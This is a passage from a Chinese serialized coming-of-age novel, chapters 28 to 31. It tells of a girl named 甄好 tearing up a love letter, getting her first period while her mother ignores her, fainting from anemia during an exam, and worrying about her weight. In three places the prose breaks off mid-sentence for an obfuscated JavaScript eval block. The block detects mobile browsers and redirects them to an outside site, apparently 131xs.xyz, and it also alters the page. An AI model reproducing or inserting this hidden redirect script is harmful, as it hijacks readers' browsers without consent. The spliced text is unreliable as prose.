两个男生一路打打闹闹，很快到了分岔路口，时序到家，林免直走，甄好拐进巷口，朝家里走去。 她没有回头，所以没有发现时序和林免都看了自己片刻，才继续各回各家。 甄好回到家，不顾何允莲的叫唤，快速钻进了榉头，并上了门闩。 手还没碰到书包，她就能听见自己的心脏狂跳，那声音大到要震破她的耳膜。 她拉开拉链、取出书本和作业、拿出笔袋，最后才是那个粉色信封。 像是在做什么见不得人的事，明明房门锁着，她还是四处看了看，又深吸两口气，才鼓起勇气打开信封。 “甄好同学，晚上可以在榕树边的小桥见一面吗？” 看到第一行字，甄好就紧咬嘴唇，手心冒汗，不敢再往下看。 那字是谁写的，她看到的一瞬间心中就有了答案。 闽镇师资资源有限，一个年级总共就两个班，从一年级到六年级，不管是班级还是老师基本上都不会换，但偶尔会有新来的老师。 甄好读二年级的时候，学校调来了一位年轻漂亮的美女老师，姓蔡。 蔡老师很喜欢她，加上她成绩好，写字漂亮，直接让她做了班长，这一做就是四年。 第五年，也就是六年级这年，甄好依旧是班长。 同窗五六载，她又是一班之长，每天都要负责收作业或者试卷，有时候还会帮蔡老师批改，可以说是蔡老师的好帮手。久而久之，她对班里每一个同学的性格和强弱项，甚至是笔迹都了如指掌。 写那封情书的人不是别人，正是班里最让老师头疼的问题学生，林免。 林免留级过，年龄比班上的同学都大一岁，个子也是班里最高的。 甄好时不时能听见其他女生偷偷议论他，说他身高腿长，五官俊秀又立体，皮肤还白，长得极好看。 因为听了女生们的讨论，她也曾认真看过几次林免的脸，最后得出的结论是——脂粉气太重了。 林免此人，眼睛大而亮，双眼皮很标准，鼻梁又高又挺，嘴唇薄而红润，皮肤甚至比女生还白皙…… 总之不是甄好喜欢的类型。 她怎么都想不到林免会给自己写情书，还约自己晚上见面。 甄好把没看完的情书重新塞回信封里，然后做了一个往后余生想起来都感到后悔的决定。 28. 难以启齿的初潮 希望好好可以像她的名字一样，真的越来越好。 ——《时序日记》 甄好最后看了一眼粉色信封，毫不犹豫地将它撕成两半。 撕完觉得不够，情书又被她对折、撕开，再对折、撕开…… 直到变成一小堆碎片，她才停止了动作。 在她盯着碎纸片发呆的时候，甄美的声音在门外响起：“阿姐，妈叫我们一起去洗菜。” 何允莲的使唤比她想象中来得晚。 “来了。”她应了一声，一股脑将碎屑扫入垃圾桶，便打开房门跟甄美一起朝厨房的方向走去。 吃过午饭，何允莲便带着甄黎去睡午觉了。 甄好负责刷锅，甄美则蹲在水龙头下洗着大大小小的碗。等刷好了锅，甄好又蹲下来和妹妹一起洗碗。 这一年，是何允莲带着甄美和甄黎从津城回到闽镇的第二年，也是甄爷爷去世的第二年。 甄好的生活因此发生了翻天覆地的变化，从有爷爷管三餐，时不时还有零嘴吃，到需要自己动手做三餐；从有人疼有人爱的世界，坠落到被使唤、被嫌弃的深渊…… 姐妹俩洗完碗，才上一年级的甄美每天都有睡午觉的习惯，甄好则拿出课本想要写作业。 其实她不爱写作业，但她也不想被老师批评，只能选择不情不愿地写作业。 写着写着，她忽然感觉小腹一痛，于是立刻放下笔去了建在室外浴室旁边的茅房。 她刚脱下裤子，就发现内裤上沾着一些粉红的液体。起初她以为是裤子褪色沾上的，没在意也没想太多，处理干净又回去接着写作业。 然而第二次腹痛很快传来，并伴随着一小股暖流自□□流出。 她惊慌失措地跑到茅房，这下内裤上沾着的不是粉红色的液体，而是鲜红的血。 甄好吓坏了。 她的第一反应是——流这么多血，我是不是要死了？ 在生理知识缺乏，在谈“性”色变的偏远乡镇，她对自己的身体不具备任何认知。 她心脏狂跳，双腿也有些发软，一个人在茅房里不知所措，连求救都不知如何说出口。 偏偏就在此时，她听见了熟悉的声音：“好好，你在家吗？” 是离自己家不远的时序找上门来了。 大概是因为没听到答复，他又说道：“我有好多题目不会，想问问你。” 甄好拼命压下内心的恐惧，左手紧紧攥了攥右手，才勉强止住颤抖。 她迅速用厚厚的一层卫生纸垫在内裤上，才打开门慢慢地走了出去。 “太好了，你还没去学校。”时序本来就只是想碰个运气，见甄好还在家顿时松了一口气。 他观察过甄好的到校时间，有时候很早，有时候踩点，所以他不好判断这个时候的她是在家还是在学校。 甄好却没应答。 她依旧沉浸在恐慌里，脑子一片空白。 见她脸色有些苍白，嘴唇也毫无血色，时序终于意识到不对劲：“好好，你没事吧？” 她看起来很不舒服的样子。 甄好有气无力地坐在凳子上，课本上的文字化成一片虚影，就像她摇摇欲坠的心，不知落向何处。 她开口时几乎要哭了，嗓音哽咽，眼睛也在一瞬间红了起来：“时序，我好像要死了，怎么办？” 时序一听，顿时慌了：“好好，你在说什么？” 他本来觉得这只是玩笑话，可看甄好那悲伤的神情和快哭了的样子，又觉得事情没那么简单：“你别吓我。” “时序，我好怕……”甄好在此时此刻，不合时宜地想起了一个人，“我好怕我会像欢欢一样，再也不会哭不会笑，连动一下都不可能……” 甄好说的人是谁，时序再清楚不过。 欢欢大名凌欢，她的生命永远停留在六岁那年。 “时序，我不想死……”甄好突然站起身，猛地揪住少年的衣角，神情慌乱。 “到底发生什么事了？你告诉我，让我来帮你。”时序握住她微微颤抖的手，眼神坚定。 “我……”甄好却被问住了。 她觉得难以启齿，“下面在流血”这几个字怎么都说不出口。 时序也不催促，只是安静耐心地等待。 他不是天生有绅士风度，所有理解和尊重女性的观念皆来自时谙从小对他的谆谆教导。 “我……”甄好憋了半天，决定豁出去，“我那里流血了……” 也许是从小一起长大的信任，也许是她现在迫切地需要一个人一同接住这未知的恐慌，总之她就是说出口了。 “哪里流血了？”时序没反应过来。 但甄好哪有勇气再说第二遍，只是紧紧咬着嘴唇，泪眼汪汪地看着他。 见少女一只手抓紧裤脚，一只手捂着小腹，又听她提及“流血”，时序后知后觉地意识到是她指的是什么…… 小小少年何曾遇到过这种事，一时之间也涨得满脸通红。不过他很快命自己冷静下来，先是安慰她：“好好，没事的，你不会死的。你可能是那个来了……” 时序说着脸越来越烫，然而面对惊慌不已的少女，他不能露怯：“你先去找阿姨，她知道怎么处理。我也赶紧跑回家请教我妈……好好，别怕，你不会死的，等我回来！” 离开前，时序用力地握了握甄好冒着冷汗的手，才转身快速朝自己家跑去。 时序和话和那重重的一握好似有无穷的力量，让少女狂跳的心奇迹般地平静下来。 她听了时序的话，走到大房门口。门没有关，床帘只放下一半，可以看到何允莲带着四岁的甄黎睡着了。 甄好敲门的手顿了顿，有些不敢打扰何允莲母子。 严格说起来，她对于这个母亲没有很深的感情，可自从她知道自己也像别的小朋友终于能够待在妈妈身边后，她渴望母爱，渴望来自母亲的温暖。 至于事与愿违那是后来发生的事情，哪怕现实给了她狠狠的一巴掌，她还是对何允莲抱有期待。 于是，她鼓起勇气，抬手轻轻地敲了敲门。 屋里的人没有任何动静，甄好咬紧牙关，又硬着头皮敲了敲。 这回里面的人听到了，何允莲不耐烦的声音很快传来：“臭丫头，不知道我和你弟弟睡着了吗？敲什么敲！” “妈——”甄好再开口声音依旧有着哭腔，“我肚子疼，我……” 她的话被何允莲残忍地打断：“肚子疼去屙个粑粑就没事了！别吵我跟你弟弟睡午觉！” 因为何允莲的这句话，甄好在眼眶里打转的眼泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600773|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于再也忍不住掉了下来。 此时此刻，她小腹的疼痛不及心脏处传来的万分之一。疼得她想哭，也疼得她想吐。 她快步跑到庭院里，弯下腰对着杂草丛不住地干呕，却什么都吐不出来。 泪水不停地从她眼角滚落，伴随着隐忍的啜泣声。 时序参加百米考试都没像此刻这样冲刺过，他气喘吁吁地重回甄家看到的正是这样狼狈的甄好。 “好好，你没事吧？”短短十分钟内，时序第二次问了这个问题。 见到去而复返的时序，甄好慌忙擦了擦眼泪。 她不习惯被人看见眼泪，更不习惯被人看到自己的脆弱。 可时序接下来一句“好好，别怕，我来了”让她的所有委屈都无所遁形，好不容易止住的眼泪再度决堤，却依旧只敢无声地哭泣。 她这一哭，把时序哭得手足无措起来，手脚都不知如何反应。半晌，他才像小时候那样，虚虚环住少女一颤一颤的肩，轻轻拍着她的背，嘴上安抚着：“没事了，好好，我在呢。” 甄好趴在他肩头上哭了会儿，等情绪过去才感到羞赧，忙与他拉开距离，低头盯着自己的脚尖，不敢看他。 直到一包粉紫色的东西递到甄好面前，她才微微抬头看着少年。 “我妈说……”时序一路上紧紧捂着这包卫生巾，生怕被人看到，眼下真正要面对甄好说出时谙告诉他的话时，白皙的脸更是红得像要滴血，“说你打开一片，展开小翅膀，贴在……贴在内裤上就可以了……” 最后几个字他说得很小声，但甄好听清楚了。 她的脸红程度不比少年低，快速接过那包东西后，她甚至连“谢谢”都没好意思说就逃也似的跑进了茅房。 甄好的初潮，是少年陪在她身边。 其实也只是过了一年不到的时间，她和少年之间竟不复当时亲密。 甄好结束回忆，再度望向时序的背影。 她应该对他好一点的。 甄好这样想着的时候，心里某种奇怪的执着好似坍塌了一点。 她总执着于远离故乡，走出大山，也执着于不像邻家姐姐那样找个同村的人就嫁了。 因为如此一来，她，包括她的后代，也将一代代留在大山里。 刚上初一，她就将目标大学定在了上城的那所重点高校，她向往的未来是在明亮的大都市，而非贫瘠的山坳里。 所以在奶奶开玩笑说“以后找个离家近点的人家嫁了，回家方便”时，甄好把头摇得像拨浪鼓。 她才不要嫁同一个地方的人，她才不要为了离家近，就放弃到更广阔的天空翱翔的机会。 晚自习在她偶尔的胡思乱想中很快过去，三个人依旧结伴回寝室。 甄好有些不敢面对周淳芮，于是心虚地走在鄢云书身侧。 鄢云书并不清楚白天在考室里发生的事情，也就没觉得甄好走在自己身边有什么不对劲。 周淳芮没有开口说话的时候，三人之间的氛围就会变得冷清，毕竟甄好和鄢云书都不是爱说话的人。 “芮芮，你是不是心情不好？”见周淳芮一直沉默着不说，还一脸凝重的样子，鄢云书主动开口询问。 “你问好好呗。”周淳芮有些不满地说道，“她没拿我们当朋友！” 29. 只能靠在他肩上 今日晴。 我的心却淅淅沥沥下起了小雨。 像小狗找不到回家的路，悲伤地躲在路边的草丛里，看着来来往往的行人，不知何处是归乡。 ——《时序日记》 白天在考室里，在外人面前，周淳芮护犊子的心情达到了顶峰，可经过一个晚自习的发酵，她越想越觉得自己憋屈。 她和甄好、鄢云书二人，从小一起上学、一起长大，三人之间无话不谈，感情甚至比跟家人的还要好。 可甄好是怎么对她们的？ 以前一些小事情她不愿开口说就算了，而今还瞒着她们偷偷暗恋班上的男生了。 如果早知道甄好暗恋师杭与，那么在得知师杭与对甄好说出那样伤人的话后，周淳芮就不会像之前那般，只是简单地骂对方两句。 还有喻玲那帮人…… 周淳芮想了一晚上，终于把人物关系理明白了。 时序喜欢甄好，甄好喜欢师杭与，师杭与喜欢喻玲，喻玲喜欢宋景，宋景喜欢甄好…… 这几人的关系几乎形成了一个闭环。 她大胆地猜测，“情书事件”绝对是喻玲故意而为之，目的就是为了报复甄好，给甄好难堪…… 如果甄好早早将事情始末告诉她和鄢云书，她们一定不会看着好姐妹吃下这个哑巴亏。 她气，气甄好不拿她们当自己人，也气甄好总是什么都自己扛。 她心疼，心疼甄好不敢轻易相信任何人，更心疼甄好总是什么都自己扛。 矛盾的情绪在她胸腔内汹涌，憋了一个晚自习终于憋不住了，倒豆子似的倒了出来。 鄢云书听完，第一反应竟是：“芮芮，原来你的脑子都用在八卦上了。” “云云！”周淳芮这下更气了。 鄢云书意在说她不好好读书，专门研究这些情情爱爱之事。 虽然这是事实，但她不要面子的吗？ 而少女心事被挑破的甄好不知所措，羞赧和紧张让她拼命转移重点：“不对，师杭与不喜欢喻玲。” 周淳芮：“……” 见她一脸无语的样子，甄好又严肃地重复：“师杭与真的不喜欢喻玲。” 她看得出来，师杭与不喜欢喻玲，也不喜欢自己，他好像没有心仪的女生。 这对于她来说是天大的好消息，只要他心如止水，那么她就有投石问路的机会。 “好好，你是想气死我吗？”周淳芮真的忍不住想咆哮，“我说的重点是这个吗？” “还有一点你说的也不对。”甄好歪头想了想，再次将重点带偏，“宋景什么时候喜欢我了？” 周淳芮：“……” 她感觉自己要被气死了。 她再也不要理甄好了。 一阵风吹过，榕树叶沙沙作响。周淳芮气呼呼地转身，一个人快步朝寝室走去。 看着周淳芮越来越小的背影，甄好后知后觉感到委屈：“云云，我真的错了吗？” 说完，她又喃喃自语：“可是喜欢一个不喜欢自己的人，真的很难说出口啊……” 哪怕是最好的朋友也一样。 她落寞地垂下头，盯着刚被风吹下来的几片榕树叶，心里闷闷的。 周淳芮是她们三人中性格最好也是最开朗的，都能被气成这样，看来她是真的做错了。 “好好，你别着急。”鄢云书安抚她，“芮芮只是在气头上，这件事交给我。” 回到寝室后，鄢云书独自去找了周淳芮，两人站在楼道里说话。 周淳芮依旧坚持己见：“好好就是不把我们当朋友，我不高兴。” “芮芮，我们都了解好好，都知道她心思重，她肯定只是没找到合适的时机告诉我们。”鄢云书苦口婆心道，“再说了，好好本来就容易不好意思，你叫她怎么主动跟我们说她喜欢上了谁啊，是不是？” 说后面那句话的时候，鄢云书心虚不已。 别说是生性内敛的甄好了，就是她，也没办法坦然地告知好友自己心里住了人。 所以她能理解甄好的心情，也能理解周淳芮的委屈，可是…… 其实她说的，周淳芮都知道，她就是憋着一股气：“反正我不想这么快就原谅她！” 见她在此事上如此固执，鄢云书忍不住试探：“芮芮，如果有一天你发现我也像好好一样，你也会生我的气吗？” 周淳芮被她的问题问住，半晌才嗫嚅着说：“情况不一样，不能一概而论。” 说完，她很快又反应过来：“云云，你这么说的意思是你也有喜欢的人咯？快告诉我是谁！” “没有，没有。”鄢云书连连摆手，“我就是问问，也是想告诉你，好好不是有意的。” “知道了。”周淳芮早在心里将甄好原谅了个七七八八，只是还嘴硬着，“明天再说吧。” 第二天一早，周淳芮虽然没有与甄好搭话，但还是跟她一同去了老地方。 她们远远就看见时序站在榕树林下，正朝她们的方向张望着。 周淳芮终于别别扭扭地说了一句：“我去榕树林是为了不让时序那小子白等，不是因为你。” “芮芮，你别气了，我以后有什么都告诉你们，好不好？”这是甄好第一次跟她闹别扭，那种滋味不好受。 “哼，看你表现。”周淳芮偏还要傲娇道。 但甄好了解她，知道她这样说就是不气了，心里压着的那股郁闷之气也跟着慢慢消散。 这天上午考的是数学，时长两个小时。 甄好一开始做得还算顺畅，基本题都做完了，可等做到大题时，她明显感觉自己不太舒服。 不仅浑身发冷，还手心冒汗，头也疼得不行。 其实她还有一件事没有告诉周淳芮两人。 最近一周以来，她时不时会发现自己的十个指腹微微发黑，像蹭了铅笔灰，可使劲去擦又不见效果。 到后来，灰黑慢慢变成一个个密密麻麻的小黑点，遍布小小的指腹，看上去触目惊心。 这种症状每日不定时出现，出现的时间并不长，却足以困扰甄好每一分每一秒。只要脑子稍微停下来，她就会怀疑自己是不是病了，是不是要死了…… 她在恐慌中度过了一周，不敢告诉家人，也不敢告诉同学老师，只是默默地承受着，期盼指腹的异状不会再出现。 距离考试结束还有一个小时的时候，甄好再也忍不住胃里的翻江倒海，举手示意：“老师，我……我不舒服，想……想去厕所。” 光是说这句话，就让她冷汗涔涔，嘴唇发白。 老师同意了她的请求。 甄好艰难地起身，却在站起来的一瞬间，两眼一黑，整个人重重地倒在地上。 倒地之前，她的脑袋直直地磕向桌角，额头很快变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604854|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红肿。 “好好！”周淳芮听见甄好的发言，也抬头看着她。 意外来得太快，她根本来不及做出反应，只能失声尖叫。 巨大的动静引来同学们的注视，时序从甄好举手发言时，就一直注意着她，可饶是他第一时间冲了过来，也阻止不了发生在刹那间的意外。 他急得眼睛都红了，二话不说就蹲下身想要抱起甄好，可想要抱起意识模糊的人谈何容易。他试了几次都以失败告终，最后是在老师和同学的帮助下，才将女生背了起来。他疯了一样地朝校门口跑去，生怕晚一秒就会造成不可挽回的后果。 周淳芮和宋景紧随其后。 监考老师留下一句“大家继续考试”，也跟着出了教室。他认得甄好是陈老师班里的，一边打电话叫车，一边叮嘱背着甄好的时序：“小心点，别摔了。” 看到宋景二人不知何时也跟了出来，他呵斥道：“两位同学，你们出来干什么？给我回去继续考试！” 听见这话的周淳芮立刻捂住肚子：“老师，我肚子疼，我也要去医院。啊——” 她的演技实在浮夸，用余光瞥见的时序忍不住在心里摇头。 宋景闻言立刻也开始演：“我扶周同学一起去，以免发生意外！” 说着，他便佯装扶着周淳芮。 二人配合得当，除去表情略显浮夸，逻辑上挑不出错处。 监考老师眼下的心思本来就都在晕倒的甄好身上，哪怕深知两人是装的，也没太揪细节，大手一挥：“走走走，一起去。” 时序背着甄好很快来到校门口，宋景一直在一旁护着，生怕他一个不小心摔了，伤到他背上的女生。 正在监考其他班级的班主任陈老师很快开着车来到校门口，县医院就在一公里外，开车很快就能到。 几人上了车，监考老师没有跟车，目送车子离去便重回教室继续监考。 周淳芮坐在副驾驶座，不停地看向坐在后座靠着时序肩膀的甄好。 甄好已经恢复了意识，但仍旧浑身无力，说话也没有力气，就只能安静地靠着别人。 “好好，你再坚持会儿，医院马上就到了。”周淳芮眉眼间满是担忧。 时序和宋景一直沉默着。 “后面两位同学，你们照顾好甄同学。”陈老师一边开车一边说：“甄同学，我已经打电话通知了你父亲，别怕。” 听到陈老师的话，甄好动了动嘴唇，最终到底还是一个字都没说。 她不愿意惊动家里人，可事已至此，多说无益。 医院很快就到了。 医生先给甄好量了体温，又抽了血准备化验。 等化验结果的时间里，甄东成神色匆匆地赶到了医院。 “好好，你感觉怎么样？”他额头上沁着细汗，担忧的样子是甄好从未见过的。 她突然鼻尖一酸，很努力才没有哭出来：“已经好多了。” “那就好，那就好，那就好。”甄东成一连说了三次“那就好”，才与陈老师和几个孩子打招呼。 等验血报告的时间好似被无限拉长，一分钟就像过了一个世纪那么久。 甄东成借口去洗手间，再回来时，手里拿着四串冰糖葫芦。 有山楂的，有草莓的，还有余甘子的。 他将余甘子那串递给甄好：“好好，我记得你喜欢吃这个口味的。” 30. 问不出口的问题 我求神拜佛，求各路神仙保佑我在意的女孩身体健康，无灾无难，无忧无虑。 ——《时序日记》 余甘子冰糖葫芦，的确是甄好最爱的口味。 她原本因为难受而变得灰暗的眼睛在看到父亲递来的冰糖葫芦，又听到他那样说，顿时变得亮晶晶的：“谢谢阿爸。” 接过冰糖葫芦后，甄好立刻咬了一口进嘴里。 酸酸甜甜的，又带着一丝丝涩口，最后的回甘是她最爱的。 平日里她根本吃不到这样可口的零嘴，冰糖葫芦那是在逢年过节才有的待遇，有时候还只能和妹妹分食一串。 家里的小孩只有甄黎才能拥有完整的一串。 不仅仅是糖葫芦，很多东西都是。 姐妹俩很少能够拥有完全属于自己的新衣服，甄好要捡亲戚家女儿因为长高了而穿不了的衣物，甄美则要捡甄好不能穿了的旧衣服…… 吃着吃着，甄好的眼睛越来越红，甚至泪光闪烁。 她好久没吃到这么甜的冰糖葫芦了。 如果早知道生病不仅能吃到喜欢吃的东西，还能感受到父亲的温情，她就不自己扛那么久了。 甄东成以为她又不舒服，急得手心冒汗：“好好，你还有没有哪里不舒服？” 甄好只是不住地摇头，听着他关心的话语，眼睛红得更厉害。 就连时序都忍不住蹲下来，一脸担忧地看着她：“好好，哪里不舒服你尽管说，别怕，有医生哥哥在。” 他话音刚落没多久，闻讯赶来的鄢云书气喘吁吁地出现在众人面前。 她的语气里是藏不住的担心：“好好，你没事吧？” 考完试后，她在寝室等了又等始终没等来甄好和周淳芮。 平时她们三个人都会先在寝室集合，再一起去食堂吃午饭的。 一番打听之下，她终于从跟周淳芮两人在同一个考室的同学口中得知甄好出了事现在人在医院的消息。 她这才赶了过来。 看到脸色通红还喘着粗气的鄢云书，甄好心中一暖，朝她露出宽慰的笑：“云云，我没事。” 她说完这话，就有护士过来询问：“请问谁是甄好的家属？” 甄东成连忙上前一步：“我是。” “先生请到医生办公室说话。”护士微笑着道。 县医院不大，不像大医院那样人来人往，这里的一切都显得更有温度。 无论是满脸暖心笑容的护士，还是彼时谦和有礼的医生。 医生声音缓慢却坚定地向甄东成叙述着甄好的情况：“甄先生请放心，孩子的情况问题不大。” 他先是安抚道，才回归正题：“孩子正在长身体，根据病症和验血结果来看，可能是因为长势过快，例如个子拔高而导致的营养跟不上。” 甄东成放下心的同时不太明白：“医生，那孩子具体是……” 医生继续解释：“简单来说，孩子是由于营养不良，且未能得到及时补充而出现的缺氧性贫血……” 在一番询问和确认甄好的情况不严重后，甄东成紧锁的眉头才彻底松开。 等待护士配药期间，他看着坐在椅子上的女儿，心中满是愧疚。 如果不是医生方才的话，他根本没发现甄好的脸色有些蜡黄，嘴唇也总是毫无血色，身子看起来更是纤瘦无比。 他这个父亲做得太失败了。 心里涌起的酸涩在护士递来一大包药品时悄然消散，他一边听着护士的交代一边不住地点头。 满满当当的一袋子，提在手里沉甸甸的，有中成药，有西药，也有需要自己带回家熬的中药。 生活已经够苦了，他的女儿还要吃这些又苦又难咽的药。 甄东成好不容易才压下去的心酸再度涌上心头，险些红了眼眶。 陈老师见学生没事也终于松了口气：“甄先生，您就带着甄好同学回家好好养身体吧。” “陈老师，我还要考试……”甄好听了不同意。 “只是期末考试，影响不大的。”陈老师劝慰道，“听老师的话，回家好好休息。” “阿爸、陈老师，我没问题的。”甄好仍旧坚持要留下来继续考试。 两人拗不过执着的甄好，甄东成在询问医生得到肯定的答案后，也只能由着她。 “阿叔，我会好好照顾好好的。”一直没出声的时序突然大声说道。 “还有我。”周淳芮也跟着保证道，“我和时序还有好好在同一个考室，我们会看着她的。阿叔就放心吧。” “那好好就拜托你们了。”甄东成最后只能这样道。 经过医院这么一通折腾后，时间已经来到下午一点钟，距离考试还剩一个小时。 陈老师先行回家，甄东成带着四个孩子简单地吃了午饭，又监督甄好吃了药，才独自回到了刺桐村。 上午的数学考试已经没办法补救，下午的科目甄好自认为超常发挥。 “好可惜，明年可能没办法选择谁是我的同桌了。”考完试走在回宿舍的路上时，甄好有些失落地说道。 他们班是按学号先后挑座位和同桌的，但不提倡男女同桌，而学号是按学习总成绩排的。 这个学期是她第一个进行挑同桌的，严格来说是喻玲热情地表示希望她挑自己，她不好意思拒绝，这才拥有了班花同桌。 “数学题目没做完，明年肯定不是1号同学了。”甄好又落寞地补充道。 “你是事出有因嘛，不要想太多啦。”周淳芮向来对学习不上心，说得比较轻松。 因为甄好突然晕倒，她们之间维持了一个晚上的别扭早在不知不觉间得到了和解。 鄢云书就不一样了，她这个学期的学号是3号，因此还被鄢识教育了一番，话里话外都是必须拿第一名，否则不配做大学教授的女儿。 在学习成绩一事上，她始终绷着一根弦，并且越绷越紧，不知何时就会突然断裂开来。 “好好，我爸爸要求我必须考第一名，否则就不配做他的女儿。”鄢云书只用一句话，用自己更糟糕的处境安慰着甄好。 “嗐，别说这些不开心的事。”周淳芮常常是三人之间那个缓和气氛的开心果，“再有一天半，我们就将拥有整整两个月的假期，这难道不值得高兴吗？” 说完又觉得不够，她兴致勃勃道：“为了迎接即将到来的暑假，我请你们吃冰激凌！” 在炎热的夏季，没有什么事是一支冰激凌解决不了的，如果一支不行，那就再加一根碎碎冰！ 事实证明，周淳芮的法子百试百灵，屡试不爽。 当三人左手拿着冰激凌，右手拿着碎碎冰时，每个人脸上都是轻松且满足的表情。 冰激凌和五颜六色的碎碎冰，是独属于她们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611453|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏日记忆。 上晚自习前，周淳芮偷偷摸摸叫住了甄好：“好好，你跟我去一个地方。” 甄好鲜少看见她这副鬼鬼祟祟的模样，不禁觉得有些稀奇：“去哪里？” “哎呀，你先跟我来嘛。”周淳芮手里拿着一本书，说话的声音轻轻的，像是生怕惊动了他人。 甄好只好任由她拉着自己走到寝室拐角处的连廊上。 由于正值考试周，学生大多早早就去教室复习了，因此平时人满为患的连廊此时空荡荡的。 周淳芮四下张望，确定没人才缓缓展开书本，并轻声说道：“这个还给你。” 她一打开书本，甄好就看清了里面夹着的是什么。 是在考室里被撕成两半的科作业纸。 是她的少女心事被人窥视到的证据。 她顿时红了脸。 而周淳芮扭捏了片刻，终于将那句话说出口：“对不起，昨天那件事我也有错。好好原谅我好不好？” 虽说她们已经冰释前嫌，但周淳芮觉得自己还欠甄好一句正式的道歉。 甄好从未想过自己的难堪和委屈会被如此妥帖地对待，脸红的同时眼睛也红了。 她总是动不动就红了眼眶，无论是被宠爱还是被批评，又或者是受了委屈，甚至是有人稍微大点声对她说话，都不例外。 长大后，她才知道这叫泪失禁体质。 “好，我原谅你。”甄好哽咽着说。 周淳芮终于深深地呼出一口气，而后又神秘兮兮地对她说道：“云云怕你不好意思，所以让我自己来跟你道歉。云云真是个顶好的女孩子，多亏了她，我才能意识到自己昨天对你有多过分。” “认识你们真好。”甄好再次感慨。 “是啊，我们能够做好朋友真好。”周淳芮笑嘻嘻地玩起了梗，“就像好好的名字一样，真好。” 经此一事，三个女孩之间的感情又更加深厚了几分。 从上晚自习第一节课开始，甄好就时不时盯着时序笔直的背发呆。 还没上课那会儿，班里好些同学都来关心她的身体怎么样，这让她不可抑制地想起自己晕倒时的情景。 当时说是晕倒也不准确，她只是浑身无力倒了下去，意识是在的。 所以她清楚地知道到底发生了什么事。 是时序第一时间背起了她…… 那么…… 想到这里，甄好再次望向时序的方向，心思千回百转，因为要不要问出那个问题而犹豫不决着。 那个问题对于她来说十分重要，可是对于别人来说…… 或许会觉得很可笑吧。 甄好苦涩地勾了勾嘴角。 她很讨厌这样别扭又敏感的自己。 她很羡慕周淳芮总是可以做到那样大大方方、快快乐乐的…… 像周淳芮那样的女生才更讨人喜欢吧…… 甄好胡思乱想之间，班主任走进了教室。 他的目光先是扫了一眼教室，而后落在甄好身上。 不知为何，虽然陈老师什么都没说，但她就是可以从那个眼神中读到他的关心。 于是她对班主任笑了笑。 师生之间一场默契的无声对话简短而温馨，在刹那间给了甄好无限的勇气，在陈老师走出教室后，她终于决定给时序写字条，问出心中盘旋已久的那个问题。 31. 请拒绝身材焦虑 暑假真是让我又爱又恨的存在。 我爱它可以让我在梦里多见你一会儿，又恨它不能让我在现实世界多见你几次。 ——《时序日记》 在手机尚不普及的二〇〇六年，在甄好上初一下学期的期末考试周里，传字条是班里最为普遍的现象。 所以甄好毫无心理负担地写了张字条让周淳芮帮自己传递到第一张桌子，也就是时序的座位。 时序后面坐着的人是宋景，他并不知道字条是谁写的，所以没有多想就递了上去。 见字条被顺利传到时序手中，甄好紧张得握着笔的手都微微泛白。 不知道时序看到她那个略显白痴的问题会作何感想，又会如何回答？ 明明方才递字条的时候，她还抱着视死如归的心情，眼下却生了后悔之情。 她现在收回来还来得及吗？显然已经来不及了。 从她的角度，已经能看到时序正在展开字条。 甄好忍不住趴在桌子上，拿课本挡住脸，书下是一张生无可恋的脸。 她到底为什么要写那么一张字条啊…… 此时此刻，甄好恨不得拥有魔法，可以让时序手中那张字条上的字迹消失。 她根本不敢回想那张字条到底写了什么…… 然而那句话像电影回放似的，不断在她脑海里盘旋…… “我是不是很重？” 没有前言后语的一句问话，容易让看见的人一头雾水。 早在时序背起她的一刹那，她就开口问这个问题了，然而她当时虚弱得说不出一个字来，否则她根本不会让别人有机会背自己。 无论是谁。 初一刚入学体检时，班里的女同学都大大方方地报出自己的体重，并热烈地讨论起来。 只有甄好模棱两可地敷衍了过去，原因很简单，其他女生的体重都不过百，而她竟然有一百零四斤。 所以只要提起体重这个话题，她都讳莫如深，只有在说身高的时候，她才敢底气十足地说：“我一米六五！” 在无论男女，个子普遍不高的闽市地区，甄好这个年龄拥有这个身高，已经是难得一见。 但她并非班里个子最高的女孩子，与她一样高的，甚至比她高的好些女生体重才九十斤出头。 因此，她总觉得自己胖。 加上有些讨厌的男生，诸如邹晓伟和陶文灿，总喜欢说她腿粗，嘲笑她肯定比男生还要重…… 渐渐地，体重变成她羞于启齿的秘密。 而时序看到字条上的内容后，眉头一皱。 他下意识地转头看向甄好的座位。 果真如他所料，少女将脸深深地埋在课本之下。 以他对甄好不知算不算了解的了解，她问完这个问题定然会感到不好意思，继而感到后悔，最后开始幻想自己拥有特殊能力，比如能够把他手里的字条变走。 那…… 时序看了一眼课桌右上角的奶茶，心生一计。 